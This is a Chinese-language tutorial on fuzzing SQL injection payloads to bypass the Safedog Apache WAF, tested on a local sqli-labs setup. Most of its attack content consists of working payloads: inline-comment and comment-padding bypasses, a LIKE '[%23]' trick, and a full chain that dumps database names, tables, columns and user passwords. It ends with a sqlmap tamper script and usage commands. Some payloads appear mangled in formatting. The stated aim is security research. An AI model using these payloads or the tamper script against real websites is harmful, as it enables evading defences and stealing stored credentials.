从SQL注入绕过最新安全狗WAF中学习fuzz
字数 1329 2025-08-27 12:33:37
SQL注入绕过安全狗WAF的Fuzz技术研究
前言
本文详细记录了通过Fuzz技术绕过最新版安全狗WAF的SQL注入实战过程,旨在帮助安全研究人员提升SQL注入能力。文章基于本地测试环境(Windows 11 + phpStudy 2018 + sqli-labs)进行实验。
环境配置
必要组件
- 操作系统:Windows 11
- 集成环境:phpStudy 2018
- 靶场环境:sqli-labs
- WAF防护:安全狗Apache版
安装注意事项
-
安装顺序至关重要:
- 必须先安装Apache 2.4
- 后安装安全狗Apache版
-
Apache 2.4安装命令:
d:
cd D:\phpStudy\PHPTutorial\Apache\bin
httpd -k install -n apache2.4
- 安全狗安装后验证:
- 确保"网站安全狗"与"防护总开关"均已开启
- phpStudy启动后应自动变为系统服务
- 防护网站数量显示为1表示配置成功
基础绕过技术
1=1等价测试绕过
初始测试:
1=1→ 被拦截true=true→ 被拦截
绕过方法一(注释符填充):
- 构造payload:
id=1' and/*////*/1 --+ - 原理:利用
/* */注释符中添加特殊字符绕过空格检测
绕过方法二(内联注释):
- MySQL内联注释特性:
select /*!000001*/; -- 执行 select /*!999991*/; -- 报错 - 构造payload:
/*!000001*/=/*!000001*/
ORDER BY绕过
初始测试:
order by→ 被拦截
绕过方法:
- 构造payload:
id=1' order/*////*/by 3 --+ id=1' order/*////*/by 4 --+ - 通过响应差异判断字段数
联合查询绕过
初始测试:
union select→ 被拦截
绕过方法:
-
暴力破解可用的分隔符:
- 使用Burp Suite对
union/select中的/进行Fuzz测试 - 发现多种可用的分隔符组合
- 使用Burp Suite对
-
有效payload示例:
id=-1' union/select 1,2,3--+ id=-1' union/select 1,2,3--+ id=-1' union/select 1,2,3--+
信息获取技术
数据库名获取
方法一(注释符填充):
- 构造payload:
id=-1' union/select 1,2,database/
方法二(内联注释):
- 构造payload:
id=-1' union/select 1,2,database/*!20553()*/--+
表名获取
绕过information_schema过滤:
- 常规语句被拦截:
information_schema.tables - 绕过方法:
?id=-1' union/select%201,2,group_concat(table_name)from/0ainformation_schema.tables*/ where table_schema='security'--+ - 关键技巧:使用
/*!%23%0a*/或/*!%23/*%0a*/形式的内联注释
列名获取
payload构造:
?id=-1' union/select%201,2,group_concat(column_name)from/0ainformation_schema.columns*/ where table_name='users'--+
字段数据获取
payload构造:
?id=-1' union/select%201,2,group_concat(id,password)from/0ausers*/--+
高级绕过技术
LIKE["%23"]技术
原理:
select * from users where id=1 like "[%23]"; -- 返回空集
select * from users where id=1 like "[%23]" union select * from users; -- 等效于select * from users
应用payload:
- 基础绕过:
id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+ - 换行符绕过:
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
完整利用链:
-- 爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/0a(
-- 爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/0ainformation_schema.tables */where table_schema='security'--+
-- 爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/0ainformation_schema.columns */where table_name='users'--+
-- 爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/0ausers*/--+
SQLMap Tamper脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!10000AND*/')
payload=payload.replace('OR','/*!10000OR*/')
payload=payload.replace('ORDER BY','ORDER/*////*/BY')
payload=payload.replace('UNION SELECT','UNION/SELECT')
payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
return payload
使用示例:
# 检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog
# 破解数据库
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5
总结
本文详细记录了多种绕过安全狗WAF的SQL注入技术,关键点包括:
- 注释符填充技术(
/*xxxx*/) - MySQL内联注释特性(
/*!xxxxx*/) - 换行符和特殊字符组合绕过
- LIKE["%23"]空集技术
- 针对information_schema的特殊处理
这些技术不仅适用于安全狗WAF,其原理也可应用于其他WAF的绕过场景。安全研究人员应理解这些技术的本质,而非简单复制payload,才能应对不断发展的WAF防护措施。